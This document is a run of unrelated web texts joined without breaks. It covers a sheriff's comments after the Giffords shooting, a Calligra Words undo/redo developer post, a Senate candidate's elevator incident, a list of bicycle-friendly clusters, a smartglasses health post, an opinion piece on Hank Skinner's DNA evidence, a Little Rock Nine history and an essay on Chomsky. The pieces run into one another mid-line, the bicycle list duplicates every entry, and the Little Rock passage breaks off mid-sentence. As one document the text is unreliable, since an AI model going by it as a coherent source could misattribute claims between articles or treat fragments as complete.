"To say, as Dupnik did, that comments made on the airwaves essentially motivated this person to commit this crime is exactly what he blamed talk radio of doing, inciting through pure rhetoric," Justice said in a statement to Tucson Weekly. "It was complete misuse of his power and he owes the media in town, TV and radio, an apology for his horrible comments in the middle of such a tragic day. He should step down immediately from his position as Pima County Sheriff."
Dupnik has been the sheriff of Pima County, which sits right along Arizona's border with Mexico, since 1980. Last April, he forcefully denounced the state's controversial immigration law, stating, "This law is unwise, this law is stupid, and it's racist. It's a national embarrassment.... If I were a Hispanic person in the state, I would be humiliated and angered. From that point of view, I think it's morally wrong."
In a press conference Sunday, Dupnik stood by his remarks about dangerous political rhetoric. When asked about his comments from the day before, he replied, "I think that when the rhetoric about hatred, about mistrust of government, about paranoia of how government operates and to try to inflame the public on a daily basis, 24 hours a day, seven days a week, has impact on people especially who are unbalanced personalities to begin with."
Dupnik also had harsh words on his state's gun laws, which allow individuals to carry concealed weapons without a permit. (Gov. Jan Brewer signed the legislation into law in April.)
"Well, I think we're the tombstone of the United States of America," he said, adding, "I have never been a proponent of letting everybody in this state carry weapons under any circumstances that they want, and that's almost where we are."
UPDATE, 4:26 p.m.: The Atlantic reports that Tea Party Nation, led by Judson Phillips, is joining in the criticism: "TPN founder Judson Phillips, in an article linked off the e-mail 'The shooting of Gabrielle Giffords and the left's attack on the Tea Party movement,' described the shooter as 'a leftist lunatic' and Pima County Sheriff Clarence Dupnik as a 'leftist sheriff' who 'was one of the first to start in on the liberal attack.' Phillips urged tea party supporters to blame liberals for the attack on centrist Democratic Rep. Gabrielle Giffords of Arizona, who was shot through the head and is now fighting for her life, as a means of defending the tea party movement's recent electoral gains."As C.Boemann already said, we met at my place for two days in order to fix some serious issues we had with the undo/redo framework in Calligra Words (and Stage for that matter).
The undo/redo framework is something I wrote when I first started contributing to KOffice about 3 years ago. I have to say that I was not really looking forward having to jump into this stuff again. I am not such a masochist and the memories I have of writing this are not ones of an easy glide.
It actually turned out to be really fun and gratifying. There were some headaches involved to be sure but overall I really enjoyed it.
To summarise a bit (more detailed description bellow for the hard hearted): we use Qt Scribe framework for our document. When an edition is done on a QTextDocument, it emits a signal telling that an undo/redo action was added on the QTextDocument internal undoStack. The application listens to this signal and can create an undo action on its stack to match QTextDocument's internal one.
The initial framework I created basically followed that behaviour. There was one thing that it was never meant to handle: nested commands. This means that when nesting commands, like for example the delete command now contains a deleteInlineObject command, the framework would create 2 commands on the application's stack.
So we sat with Boemann thinking how to solve that problem. In the end we only needed to add, instead of a single head command member in the framework, a stack of head commands.
Now we have a framework which is way more complete and solid, plus it is now documented in the code.
There are some improvements we could already think of to make the API a bit more flexible, but we can be confident now that we have solid foundations for the upcoming Calligra Words releases.
Overall, I had a really good time coding with C.Boemann, who is not only a very talented coder but also somebody I really appreciate. It is amazing to see what we achieved in those just two days.
A bit more details:
As I said, we use QTextDocuments to hold the data of one text frame (text shapes). This document is edited through a specific handler: a KoTextEditor. This editor is not only responsible for editing the QTextDocument but also to listen to the QTextDocument's undoCommandAdded signal and keep our application's stack in sync.
There are 3 use cases of our undo/redo framework:
- editing done within the KoTextEditor
- complete commands pushed on the KoTextEditor by an external tool
- on-the-fly macro commands
In addition to this, there are two special cases in editing QTextDocument: inserting text and deleting text. These two actions only trigger a signal on the first edit. Any subsequent compatible edit is "merged" into the original edit command and will not trigger a signal. Inserting text and deleting are therefore open ended actions, as far as our framework is concerned.
In order to handle this, a sort of state machine is used. The KoTextEditor can be in a NoOp, KeyPress, Delete, Format or Custom state. Furthermore, for each signal received from the QTextDocument, we create a "dummy" UndoTextCommand, whose sole purpose is to call QTextDocument::undo or QTextDocument::redo. These commands need to be parented to a command which we push on our application's stack. This head command will call undo or redo on all its children when the user press undo or redo in the application.
In order to allow for nested head commands, we maintain a stack. Its top-most command will be the parent of the signal induced UndoTextCommands.
Depending on the KoTextEditor state and commandStack, new head commands are pushed on the commandStack, or the current top command is popped.
I will not enter into more details here, if you are interested in the whole gory logic of this, you can look at the code in calligra/libs/kotext/KoTextEditor_undo.cpp (which for now lies in the text_undo_munichsprint git branch). The code has now been pretty well documented, something I had not done before.
That's it for today. Once again, I ask from as much of you to try our next test release, specifically the undo/redo framework, so that we can ensure that we release a really good stable Calligra Words.The Republican nominee for Ohio's U.S. Senate seat, state Treasurer Josh Mandel, had a bizarre exchange and brief outburst while sharing an elevator Friday with a tracker for a Democratic super PAC.
Video shot by a tracker for American Bridge 21st Century shows the tracker, identified as Tyler, walking into an elevator occupied by Mandel and two other people. Mandel can be heard shouting "Tyler" when the tracker walks in and then moving to another part of the elevator. He then pushes the camera away from him. The incident occurred in the elevator in the Rhodes State Office Tower, the building that houses the treasurer's Columbus office. Mandel is challenging Sen. Sherrod Brown (D).
When Mandel pushes the camera, the tracker can be heard saying "please don't." Mandel then engages in pleasant conversation with the tracker, asking him how he's been and introducing him to Joe Vardon, a reporter for the Columbus Dispatch, who was there to interview Mandel. While Mandel plays with his Blackberry and has the camera pointed at his back, Vardon and the tracker engage in a brief conversation before Mandel and Vardon exit the elevator to go into Mandel's 10th floor office.
The tracker and an unidentified woman on the elevator then discuss the incident.
"Did you see him trying to grab my stuff?" the tracker asks, with the woman responding the affirmative. The woman then says, "He tried right over there to block it."
Vardon briefly mentions the incident in his article, which included a response from Mandel's campaign spokeswoman Nicole Sizemore, who tried to downplay the incident and noted her boss' politeness.
The Dispatch reports:
“Treasurer Mandel is used to Sherrod Brown staffers sticking a camera in his face wherever he goes for over a year now,” Nicole Sizemore, press secretary for Mandel’s campaign, said later. The American Bridge tracker does not work for Brown’s campaign. “It’s an unfortunate part of the process, but it comes with the territory and he doesn’t think much of it,” Sizemore said. “Treasurer Mandel was friendly with him, asked him how he’s been, and introduced him to the reporter on the elevator.”
Mandel's campaign could not be immediately reached for comment.
Incidents between candidates and trackers have been common. Last week, Ann McLane Kuster, a Democratic congressional candidate in New Hampshire grabbed the camera of a tracker employed by her Republican opponent, Rep. Charlie Bass.
Ohio Democrats were quick to criticize Mandel for the exchange.
"Josh Mandel's bizarre attempt to physically intimidate an opposition staffer and grab his camera is proof that the pressures of his floundering senate campaign are getting to him. Despite the fact that Josh Mandel's the beneficiary of nearly $20 million in outside money from secretly-funded attack groups, Ohioans aren't buying what he's peddling," Ohio Democratic Party spokesman Andrew Zucker said. "His opposition to the auto rescue and Sherrod Brown's bipartisan bill to protect American workers by standing up to China it out-of-step with Ohio's middle class and proof that he's a politician who can't be trusted to fight for Ohio jobs."
The elevator incident came one day after Mandel's 35th birthday, for which the Ohio Democratic Party gave him a pair of pants in recognition of his six "Pants on Fire" designations from Politifact during the campaign. Mandel's general counsel, Seth Metcalf, sent the pants back to the Democrats on Friday.
Mandel also received backing from Move America Forward Freedom PAC, a pro-veterans group, last week.As an avid bicycle commuter, it was pleasing to see the rapid growth in communities being designated as “bicycle friendly” by the League of American Bicyclists. Likewise, it is nice to see numerous college campuses and a growing number of businesses also participating.
As a planner and one who enjoys studying statistics and trends, the most intriguing aspects of the growth in participants to me are the clusters that are developing around the country. This is important for several reasons:
It shows that more people are “getting it” and not just in certain progressive enclaves.
It shows that coordinated efforts are taking place in a variety urban areas, not just lone islands of bike friendliness.
It shows healthy participation by the public sector, private sector, and by non-profits.
It shows that some smaller urban areas that deserve special recognition for the extent of participation in their community, especially La Crosse, WI/MN and Fort Collins, CO.
It shows that much of metropolitan Washington, DC understands the importance of providing non-motorized infrastructure, even when some members of Congress are totally clueless.
It shows a number of major metropolitan areas are missing from the cluster list, including New York City, Houston, San Diego, San Antonio, Dallas-Forth Worth, Austin, Nashville, Memphis, Atlanta, Cleveland-Akron-Canton, Louisville, SE Florida, Tampa Bay Area, Milwaukee*, Buffalo, St. Louis*, Albuquerque, Rochester, Lexington, Fresno, Oklahoma City, Tulsa, and El Paso.
* A number of businesses participate in these metro areas, but do not have participants in at least two categories.
The following is a list of bicycle friendly clusters that have developed around the United States that have participants in at least two of the bicycle-friendly categories (this particular list only includes platinum, gold, silver, and bronze recipients and does not include honorable mentions):
(59) Washington, DC/MD/VA/WV – three communities, two universities, and 54 businesses
– three communities, two universities, and 54 businesses (32) San Francisco Bay Area, CA – fifteen communities, one university, and 16 businesses
– fifteen communities, one university, and 16 businesses (29) Twin Cities, MN – two communities, one university, and 26 businesses
– two communities, one university, and 26 businesses (27) Portland, OR/WA – four communities, one university, and 22 businesses
– four communities, one university, and 22 businesses (25) Boston, MA/NH – three communities and 22 businesses
– three communities and 22 businesses (18) Denver-Boulder, CO – six communities and 12 businesses
– six communities and 12 businesses (18) Pittsburgh, PA – one community, one university, and 16 businesses
– one community, one university, and 16 businesses (15) Indianapolis, IN – three communities and 12 businesses
– three communities and 12 businesses (15) Kansas City, MO/KS – two communities and 13 businesses
– two communities and 13 businesses (15) Madison, WI – two communities, one university, and 12 businesses
– two communities, one university, and 12 businesses (15) Seattle-Tacoma-Olympia, WA – five communities, one university, and nine businesses
– five communities, one university, and nine businesses (14) La Crosse, WI/MN – one community and 13 businesses
– one community and 13 businesses (13) Boise, ID – one community, one university, and 11 businesses
– one community, one university, and 11 businesses (11) Chicago, IL/IN/WI – three communities and eight businesses
– three communities and eight businesses (11) Fort Collins, CO – one community, one university, and nine businesses
– one community, one university, and nine businesses (11) Los Angeles-Long Beach-Anaheim, CA – six communities, three universities, and two businesses
– six communities, three universities, and two businesses (10) Greenville-Spartanburg, SC – two communities and eight businesses
– two communities and eight businesses (10) Research Triangle, NC – five communities, two universities, and three businesses
– five communities, two universities, and three businesses (10) Philadelphia, PA/NJ/DE – two communities and eight businesses
– two communities and eight businesses (9) Sacramento, CA – four communities, one university, and four businesses
– four communities, one university, and four businesses (9) Salt Lake City-Provo-Ogden, UT – two communities and seven businesses
– two communities and seven businesses (8) Anchorage, AK – one community and seven businesses
– one community and seven businesses (8) Mesa-Scottsdale-Tempe, AZ – five communities and three businesses
– five communities and three businesses (8) Tucson, AZ – one community, one university, and six businesses
– one community, one university, and six businesses (7) Lincoln, NE – one community and six businesses
– one community and six businesses (7) Roanoke, VA – one community and six businesses
– one community and six businesses (7) Spokane, WA/ID – three communities and four businesses
– three communities and four businesses (6) Bloomington, IN – one community, one university, and four businesses
– one community, one university, and four businesses (6) Cedar Rapids-Iowa City, IA – two communities and three businesses
– two communities and three businesses (6) Columbus, OH – one community, one university, and four businesses
– one community, one university, and four businesses (5) Champaign-Urbana, IL – one community and four businesses
– one community and four businesses (5) Detroit-Ann Arbor-Flint, MI – one community, one university, and three businesses
– one community, one university, and three businesses (5) Grand Rapids, MI – one community and four businesses
– one community and four businesses (5) South Bend-Elkhart, IN/MI – two communities and three businesses
– two communities and three businesses (4) Burlington, VT – one community, one university, and two businesses
– one community, one university, and two businesses (4) Greater Lansing, MI – one community, one university, and two businesses
– one community, one university, and two businesses (4) Santa Barbara, CA – one community, one university, and two businesses
AdvertisementsWhy smartglass users will be healthier than mobile phone users
chip sineni Blocked Unblock Follow Following Mar 31, 2017
There are many benefits to having information presented to a user from an Augmented Reality Smartglass device.
The basic things a person should be able to do with sunglass-style SmartGlasses are the same things you mostly use your mobile phone for now, which is “Data Snacking”.
All of these things done before your eyes without staring away from life:
Can see an important text as it comes.
Can see social media updates as you eat lunch.
Can see who is calling without breaking away from a conversation.
Can get walking directions to a new city without looking down and feeling like a tourist.
Can see your cab status while scanning the horizon.
Can see what is next in your calendar while working with your hands.
You can see what Pokemon are nearby while still looking straight ahead.
Not only will this make life more convenient, it will ideally enable social situations to be more personable, with us less absorbed in content away from life, and us more looking directly at life.
But now we are seeing the health implications from staring down on our screens
One of the most recent stories to come out is that pedestrians are literally dying, getting hit by cars. This is not just the obvious ‘drivers are being distracted by their devices’, but because consumers are no longer as aware of environmental hazards.
Some cities are trying to combat this with even putting traffic signals on the ground for people staring down, but this still doesn’t help people be more aware of instant changes to their environment.
We don’t even know the ramifications of “Text Neck” will be
Besides dying, a general health concern is nobody knows the long term health ramification of power users looking down at their phones. For many people, they didn’t even own a smart phone or something as useful and engaging until 10 years ago. What will this look like for a power user after 30 to 40 years?
This Washington Post article covers how dangerous it is to be looking down at your phone
“It is an epidemic or, at least, it’s very common,” Hansraj, chief of spine surgery at New York Spine Surgery and Rehabilitation Medicine, told The Washington Post. “Just look around you, everyone has their heads down.”
Can’t grasp the significance of 60 pounds? Imagine carrying an 8-year-old around your neck several hours per day. Smartphone users spend an average of two to four hours per day hunched over, reading e-mails, sending texts or checking social media sites.
That’s 700 to 1,400 hours per year people are putting stress on their spines, according to the research. And high-schoolers might be the worst. They could conceivably spend an additional 5,000 hours in this position, Hansraj said.
We need more natural devices to consume information
The obvious answer to this is either get rid of your phone, try to use your phone less, etc. But for the world we live in, that is not realistic for many people.
A device that provides the same information as a mobile device, but allows us to use our bodies more like they are meant to be used.
The main concerns of Smartphones and how they could be alleviated
“All this information in front of you could have damaging effects of multiple focus.” — Smartglasses could have all the information pushed to the sides of your view, so straight ahead is completely normal, and users just need to glance to corners to get information. This makes receiving the information more deliberate.
“Bulky headsets look ridiculous and could cause new weight strain issues” - Everyday informational smartglasses should be same size and form factor sunglasses. What makes AR headsets bulky is tech that is not needed to replicate today’s mobile usage. This is why we need normal information glasses before deeper Mixed reality glasses.
“Waving your hands in the air looks stupid and can cause new physical strain” — Smartglasses could still be controlled by your smartphone or controller, you just wouldn’t need to look at it. Same as you don’t look at a mouse when you use it. This device could ergonomically work as something clipped on your pocket, something your watch etc.
“Augmented Reality Glasses will make us over distracted, we won’t be able to tell reality from virtual”- This will really be up to the user. By default, one would assume this could work exactly like phone notifications, where a user would just see things important to them, could set up VIP contacts, etc. Ideally, you will just be as distracted as you want to be. Many people have beeps and vibrations for every type of application, many people disable those.
The true marketing angle of Augmented Reality Smartphones might be that it is ‘healthier’
With all the potential short term and long term issues of mobile usage, maybe really the true way to get people excited is just how much more healthier they will be when they aren’t stuck looking down, glued to their screen.A week from today, Texas death row inmate Henry "Hank" Skinner is scheduled to be executed for the 1995 murders of Twila Busby and her two adult sons.
If that happens, it may be the biggest travesty of justice in the modern death penalty area. That isn't necessarily because Skinner is innocent. He may be guilty. I don't know. The problem is that the state of Texas also doesn't know. There is DNA from the crime scene that could exonerate Skinner -- or could affirm his guilt -- that has never been tested. That includes blood from the murder weapon, blood from a jacket left in Busby's home, a rape kit taken from Busby, scrapings from under Busby's fingernails and hairs she was clutching at the time of her death -- hairs that likely came from her killer. For more than a decade, Hank Skinner's legal team has tried to get that evidence tested, at no cost to the state of Texas. And for more than a decade, the Texas 31st District Attorney's Office has refused.
Skinner isn't exactly a poster boy for wrongful conviction. He had previously been convicted of assault, and by his own admission he was at the scene of the crime the night of the murders. Skinner's neighbor and ex-girlfriend told police that Skinner came to her home after the crime and implicated himself, then rattled off a number of contradictory stories.
But Skinner has maintained from the night he was arrested that he was passed out from a mixture of alcohol and codeine when the murders were committed. His defense team has produced testimony from toxicology experts who say Skinner had far too high a concentration of the drugs in his system for him -- a slight man at the time -- to have killed an adult woman and her two adult sons. At best he was groggy. He was likely unconscious. The state did conduct DNA testing on blood smears on Skinner's shirt, which matched two of the victims. But that could be consistent with Skinner's story, which is that he woke to find the bodies and tried to jostle the victims to see if they were still alive.
In 1999, journalism students at Northwestern University's Medill Innocence Project began investigating Skinner's case. Andrea Reed, Skinner's neighbor and ex-girlfriend, told them police had pressured her into giving false statements about Skinner, and that she no longer stood by the statements she gave on the night of the crime. The students also identified another potential suspect.
Friends and acquaintances of Busby say she had recently been stalked by an uncle named Robert Donnell. Busby told friends that Donnell had recently raped her. The students also discovered that Donnell had approached Busby at a party on the night of her death, and that neighbors had seen him cleaning and repainting his truck a few days after the murders. Donnell had also been seen wearing a windbreaker similar to the one left at the crime scene.
Donnell died in a car accident in 1997, two years before the Medill class took up the case. He was never considered a suspect by the police or the district attorney.
It's possible that a reasonable person might review the Medill students' work and still not find it convincing enough to overturn Skinner's conviction. Perhaps Reed's recantation years later isn't as credible as her statements to police on the night of the murders. Maybe it isn't plausible that Skinner could have slept through three violent murders, even while under the influence of booze and codeine. What's simply unfathomable -- especially if you believe the criminal justice system is in any way a quest for truth -- is that there is evidence that could confirm or disprove Skinner's story, and that he could be executed before it gets tested.
On a 2000 episode of the Nancy Grace show, Skinner advocate and Medill Professor David Protess challenged the then-D.A. to test the hairs Busby held at the time of her death. The prosecutor agreed. But when preliminary mitochondrial testing suggested a good chance that the hairs didn't belong to Skinner, the prosecutor halted any further testing on the hairs or on any of the remaining untested evidence.
"They only tested the material they thought would implicate Skinner," Protess told me in an interview last year. "They fixated on their suspect, and once they thought they had enough for a conviction, they stopped."
The D.A.'s office has since been dogged in its determination to proceed with the execution of Hank Skinner before there's any more testing. Texas law does give inmates the right to post-conviction DNA testing if they can show such testing would establish their innocence, but prosecutors in the case have argued for the last 10 years that the law does not grant testing to inmates who could have requested such testing at trial but did not.
The courts have agreed. The justification for the exception is that a guilty man could game the system by refusing or even fighting testing at trial, then fight for testing after conviction to buy himself some time before sentencing is carried out.
It isn't a very convincing argument, given that DNA testing would take at most a few months. If Skinner is indeed guilty, and if prosecutors had allowed for the testing back when Skinner's attorneys first requested, Skinner would have been executed years ago.
The other problem is that Skinner did ask for testing at the time of trial. His court-appointed attorney made a strategic decision to disregard his client's wishes, believing the testing would implicate him. That attorney, Harold Lee Comer, was a disgraced former prosecutor who lost his job after he was caught stealing money seized in a drug case. Skinner's trial judge, a friend of Comer's, assigned the attorney to represent Skinner and ordered him to be paid roughly the amount Comer owed the state for his own misconduct. In fact, Comer had actually prosecuted Skinner on an assault charge years earlier. So even if Texas law did allow prosecutors to refuse post-conviction DNA testing in cases where a defendant declined to pursue the testing at trial, it's not clear why that should apply in Skinner's case.
Last year, with Skinner less than an hour from execution, the U.S. Supreme Court granted a stay to consider whether federal civil rights law may allow Skinner to challenge the way Texas courts have interpreted the state law that allows inmates to get DNA testing post-conviction. In March the Court ruled 6-3 that it did. The Court didn't order the DNA testing. Rather, the decision only granted Skinner the ability to argue in federal court that Texas state courts had erred in how they applied the state's DNA testing law.
The Texas legislature has since rendered that question moot. Last June, both houses overwhelmingly passed a revision to the DNA testing law to clarify that inmates should be able to request testing even if their counsel did not request any at trial. Lawmakers even cited Skinner's case in passing the legislation. Hank Skinner, it seemed, would finally get his DNA tests.
And here's where D.A. Lynn Switzer began to appear determined to carry out the execution of Hank Skinner. The new law took effect on Sept. 1, 2011. Skinner's attorneys immediately filed for testing under the new law. Switzer's office responded by requesting an execution date. They got it: Nov. 9.
What happens from here isn't clear. A Texas state court is currently considering Skinner's petition for testing under the new state law. It seems likely that will be granted. At the same time, a federal court has kept Skinner's federal claim open in the unlikely event that the state court rules against him. But here's the strange thing: Skinner could still be executed before any of that is settled. In fact, that's exactly what many think Skinner's prosecutors are trying to have happen.
"Their position is that the evidence against Skinner is so overwhelming, no DNA test results could establish his innocence. We obviously think that isn't true," said Robert Owen, Skinner's attorney and co-director of the Capital Punishment Clinic at the University of Texas. "If the rape kit, the hair, the blood from the murder weapon and blood found elsewhere at the crime scene that didn't belong to the victims all fit the profile of a single person, and that person isn't Skinner, then I think it becomes clear that Skinner is innocent."
If Skinner is executed, it's unlikely we'll ever know about his guilt for certain. "It's something I'd rather not think about right now, but as far as I know, once he's been executed, there's nothing to prevent the prosecutors from destroying the DNA evidence," Owen says.
Several authorities could still prevent Skinner's execution. The federal court could issue a stay until the legal issues are sorted out, as could the state court. Skinner's trial judge could also postpone the execution date. Texas Gov. Rick Perry could issue a 30-day stay to allow for the DNA testing. Former Texas Gov. George W. Bush did just that in 2000, granting a stay to Rickey Nolen McGinn. Those DNA test results affirmed McGinn's guilt, and McGinn was executed. McGinn may have lied his way into another month of life, but the state of Texas got confirmation it was executing a guilty man. That hardly seems like a bad deal for Texas.
Of course, none of those other authorities should need to act. If District Attorney Lynn Switzer is able to put together a legal argument that allows her to execute Hank Skinner without first testing critical DNA evidence, even in spite of the new Texas law, it would represent a massive failing of the Texas and federal criminal justice systems. It would be an even greater failing if Skinner is executed before these questions are even settled.
But all of this ignores the fact that Switzer isn't required to make any of these arguments in the first place. It's one thing for a prosecutor to argue she has reviewed all the evidence in a case, and is still convinced of the defendant's guilt. The prosecutor, the courts and the public should not remain ignorant about critical evidence that has the potential to exonerate a man who is about to be executed.
The Hank Skinner saga touches on a number of lingering and important questions about the criminal justice system. But if Lynn Switzer is so convinced of Hank Skinner's guilt, she could agree today to turn over the DNA evidence for testing. Why she won't -- and why she and too many prosecutors like her get elected and reelected -- may be the darkest and most troubling questions of them all.
There are a number of sensible, easy-to-implement reforms that could improve the criminal justice system. But the biggest and most important challenge may be figuring out how to fill prosecutors' offices with people more interested in achieving justice than winning and preserving convictions.
UPDATE: The trial judge in Hank Skinner's case again denied DNA testing Thursday afternoon, in spite of the new Texas law.Imagine that it's the night before your first day of High School. You're filled with excitement, fear and tension. You wonder what the school will be like. Will the classes be hard? Will the students like you? Will the teachers be friendly? You want to fit in. Your stomach is full of butterflies as you try to sleep and wonder what tomorrow will be like.
Now imagine that you are a black student in 1957 preparing to go to Little Rock Central High School to attempt what seemed impossible -- the integration of public schools. These students were aware of what the public thought of their entering into a "white" high school. They didn't worry about fitting in. Most whites, including the governor at the time, Orval Faubus, stood against them. Most troubling to the students was the fact that many blacks also thought that the integration of Central would cause more trouble for their race than good.
The night before Thelma Mothershed, Elizabeth Eckford, Melba Pattillo, Jefferson Thomas, Ernest Green, Minniejean Brown, Carlotta Walls, Terrence Roberts and Gloria Ray, or the "Little Rock Nine" as history remembers them, were to enter into high school was not a peaceful night of sleep. It was a night filled with hate. Faubus declared that integration was an impossibility in a televised statement and instructed the Arkansas National Guard to surround Central High and keep all blacks out of the school.
They did keep them out for that first day of class.
Daisy Bates instructed the students to wait for her on Wednesday, the second day of school, and planned for all nine students and herself to enter the school together. Unfortunately, Elizabeth Eckford, one of the nine, did not have a phone. She never received the message and attempted to enter the school alone through the front entrance. An angry mob met her, threatening to lynch her, as the Arkansas National Guard looked on. Fortunately, two whites stepped forward to aid her and she escaped without injury.
The other eight were also denied admittance by the National Guard who were under orders from Governor Faubus.
Soon after this, On September 20, Judge Ronald N. Davies granted NAACP lawyers Thurgood Marshall and Wiley Branton an injunction that prevented Governor Faubus from using the National Guard to deny the nine black students admittance to Central High. Faubus announced that he would comply with the court order but suggested that the nine stay away for their own safety. President Eisenhower sent the 101st Airborne Division to Little Rock to protect the nine students. Each student had their own guard.
The students did enter Central High and were protected somewhat, but they were the subject of persecution. Students spat at them, beat them, and yelled insults. White mothers pulled their children out of school, and even blacks told the nine to give up. Why did they stay under such hostile situations? Ernest Green says "We kids did it mainly because we didn't know any better, but our parents were willing to put their careers, and their homes on the line."
One of the girls, Minniejean Brown, was suspended for dumping a bowl of chili on the head of one her persecutors and didn't finish out the school year. The other 8 did finish out the year. Ernest Green graduated that year. He was the first black to ever graduate from Central High.
That was not the end of hostility surrounding the nine. Faubus was set on preventing his schools from integration. The Little Rock School Board was granted an injunction delaying integration until 1961. However, the ruling was overturned by the U.S. Circuit Court of Appeals and integration was upheld by the Supreme Court in 1958. Faubus ignored the ruling and used his power to shut down Little Rock's public schools. During the shutdown, white students attended private schools in the area but black students had no choice but to wait.
Three of the Little Rock Nine students moved away. The remaining five took correspondence courses from the University of Arkansas. When Faubus' actions were declared unconstitutional and the schools reopened in 1959, only two black students were assigned to Central--Jefferson Thompson and Carlotta Walls. They graduated in 1959.
These 9 students, although they didn't realize it then, made huge waves in the civil rights movement. Not only did they show that blacks COULD fight for their rights and WIN, they also brought the idea of segregation to the forefront of people's minds. They showed the nation what |
and a utopian in his belief that the ideal world is a world without social class or unjust hierachies of any kind, a world without war or economic deprivation. But he is also deeply conscious of the realities of the world we live in and the need for those who care about moving towards this utopia to be willing to take small steps rather than just wait for a “revolution.”
Consider Chomsky’s approach to voting. Chomsky believes simultaneously that (1) voting is not a very important part of politics, because it doesn’t change much thanks to the combination of the typically awful candidates and the low impact of a single vote and (2) you should still vote, and if you live in swing state, you should vote for the Democratic candidate for president. He is radical in that he believes we need far broader political action than simply voting once every few years for the least-worst of two major party candidates, but practical in that he also believes that it’s better if Democrats get into office than Republicans. Chomsky understands that you can simultaneously work to save ObamaCare and believe that it’s a pitiful substitute for a genuine health-care guarantee, and we need much more radical change. See: Chomsky on Voting and Democrats
Rejecting Simple Binary Distinctions
Both of the above examples are part of a tendency in Chomsky’s thought that I have consistently found helpful: trying not to fall into simple binary distinctions. So, if the question is: “Do you support the Democrats or do you believe in third parties?” the Chomsky answer is, roughly, “It depends on the circumstances. If a third party, whose principles are closer to mine than the Democrats, had a viable chance of winning, I’d vote third party. But if the only thing the third party is likely to do is split the progressive vote and put the Republicans in office, I’d hold my nose and vote for the Democrat.” Or, if the question is: “Should we be reformists or revolutionaries?” the Chomsky answer is “Well, it depends what each of those would entail. Let’s talk about what we mean by each of those terms and which one is likely to get us to our goal.”
You can see this tendency at work in Noam Chomsky’s attitude toward the Boycott, Divestment, and Sanctions (BDS) movement against Israel. Chomsky is known as a critic of Israel, but he has received criticism from BDS members for questioning the efficacy of their tactics. This has led to suggestions that Chomsky “opposes BDS.” In the world of binaries, you have to either support something or oppose it. The idea of “supporting the goal of improving the welfare of Palestinians” and the tactic of boycotts, but opposing particular actions by the BDS movement does not fit within the existing binary.
Likewise, Chomsky has been accused of rejecting the comparison of Israeli treatment of the Palestinians with Apartheid South Africa, with a critic saying he “dismisses the apartheid designation.” In fact, what he has tried to do is draw a distinction: In Israel itself, the racial division is not on the level with South African Apartheid, but in the Occupied Territories, it’s actually worse than Apartheid. But to some supporters of BDS, hearing that the situation within Israel is not as brutal as Apartheid will mean Chomsky is “dismissing” the Apartheid comparison, even though he actually thinks the situation for many Palestinians is worse than Apartheid. The nuance can be difficult to appreciate unless we set aside our existing binary classifications.
George W. Bush is famously associated with the phrase “You’re either with us or you’re against us.” But this feeling is shared across the adherents of many political ideologies, with nuance seen as betrayal. The Chomsky answer to whether “you’re with us or against us” is “Well, I’m with you to the extent that you do good things, and I’m against you to the extent that you do bad things.” But that response is usually met with “Oh, so you’re against us, then.”
The Consistent Application of Moral Standards
One of Chomsky’s simplest principles is among the most difficult to apply in practice: You should judge yourself by the same moral standards that you judge others by. This has formed the core of his critique of U.S. foreign policy, and yet it is often insufficiently appreciated even by those that embrace his conclusions. Many people think that Chomsky is uniquely “anti-American.” In fact, his criticisms of the United States are so strong largely because when this elementary moral principle is applied to the facts, the conclusion is inevitably deeply damning. It simply turns out that if you judge the United States by the standard that it uses to judge other people, the United States does not look very good. If you take the facts of, say, the U.S. bombing of Laos (where the United States secretly dropped 2.5 million tons of bombs in the ’60s and ’70s, massacring and maiming thousands of peaceable villagers, 20,000 of whom were killed or injured in the decades after the bombing when unexploded bombs went off), and you imagine how it would appear to us if the roles had been reversed and Laos had been bombing the United States, you begin to see just how inconsistent we are in our evaluations of our own actions versus the actions of others. 500,000 people died in the Iraq War. If Iraq had invaded the United States and 500,000 people died (actually, the proportional population equivalent would be closer to 5,000,000), would there be any way that anybody in the country could conceive of Iraq as a “force for good” in the world in the way that the U.S. believes people should think we are? It’s laughable. If Vietnam had invaded the United States the way the United States had invaded Vietnam, could such an act ever be considered justified?
This idea of moral consistency, of trying to treat like behaviors alike, is the simplest possible notion in the world. It’s so elementary that it sounds childish to even pose the questions. And yet the power of latent patriotic sentiment is so great that it makes a clear-eyed and fair assessment incredibly difficult. It’s hard to see the world through other people’s eyes, to see what our self-justifications look like to those who are on the receiving end of our actions. And when we do it, it’s deeply discomforting. But this is the foundation of Chomsky’s critique: It’s not enough to have “values” (e.g., “terrorism is bad”), you must apply those values consistently (i.e., if something would constitute terrorism if done against us, it must constitute terrorism if it is done by us). Chomsky is seen as being “anti-American” for pointing out that if the Nuremberg principles were applied consistently, essentially every postwar U.S. president would have to be hanged. But this is just a result of the application of consistency: The crime of “aggressive war” that was so forcefully condemned at Nuremberg has been committed repeatedly by the U.S.
In both linguistics and politics, Chomsky often uses his famous “Martian coming to Earth” example: Try to imagine what our planetary affairs would look like to someone who was not part of one of the particular human societies, but was separate from them and able to see their commonalities. They would perceive the similarities between human languages, rather than the differences, and they would see the bizarre ways in which each country perceives its own acts as right and everybody else’s as wrong, even when the same acts are being committed.
The principle of treating all human beings consistently has an incredible power to illuminate, because it helps us clarify what our values actually are and make sure we are following them. But it also helps us become true “universalists,” in the sense that we can begin to view things from a human perspective rather than a nationalistic perspective.
Clear and Accessible Writing
Even though Noam Chomsky is not exactly known for the memorability or emotional force of his prose, he helped teach me to write. That’s because he writes and speaks in a very particular way: in clear language, maximally designed for people to actually be able to understand it. Chomsky is one of the few writers on the left who entirely shuns highly abstract theoretical lingo in favor of straightforward, plain-language argumentation. In his political writings he follows the principle, which I share, that it is the writer’s job to make himself understood, rather than the reader’s job to try to figure out what the hell the writer is talking about.
This actually follows from Chomsky’s “libertarian socialist” politics. The great libertarian socialists have generally been incredibly clear writers. (Compare the experience of reading Rudolf Rocker’s Nationalism and Culture with the experience of reading Louis Althusser.) This is partially because they have a strong belief in “democratic education”: They believe that everyday people should have access to knowledge and understanding, and that intellectual endeavors shouldn’t be the purview of a specialized caste of privileged people. They believe that ordinary workers should get to read the classics and to understand science and mathematics, because they do not believe in social class and hierarchy. The libertarian socialists have always been critical of the more “Leninist” mindset, which sees social change coming from a “vanguard” of intellectuals who know what’s best for the people. For the anarchistic socialist, the power to change their lives should be in people’s own hands. Thus writing, even on complicated subjects, should be in as clear language as possible, because it shouldn’t just be available to academics and people who have had elite educations.
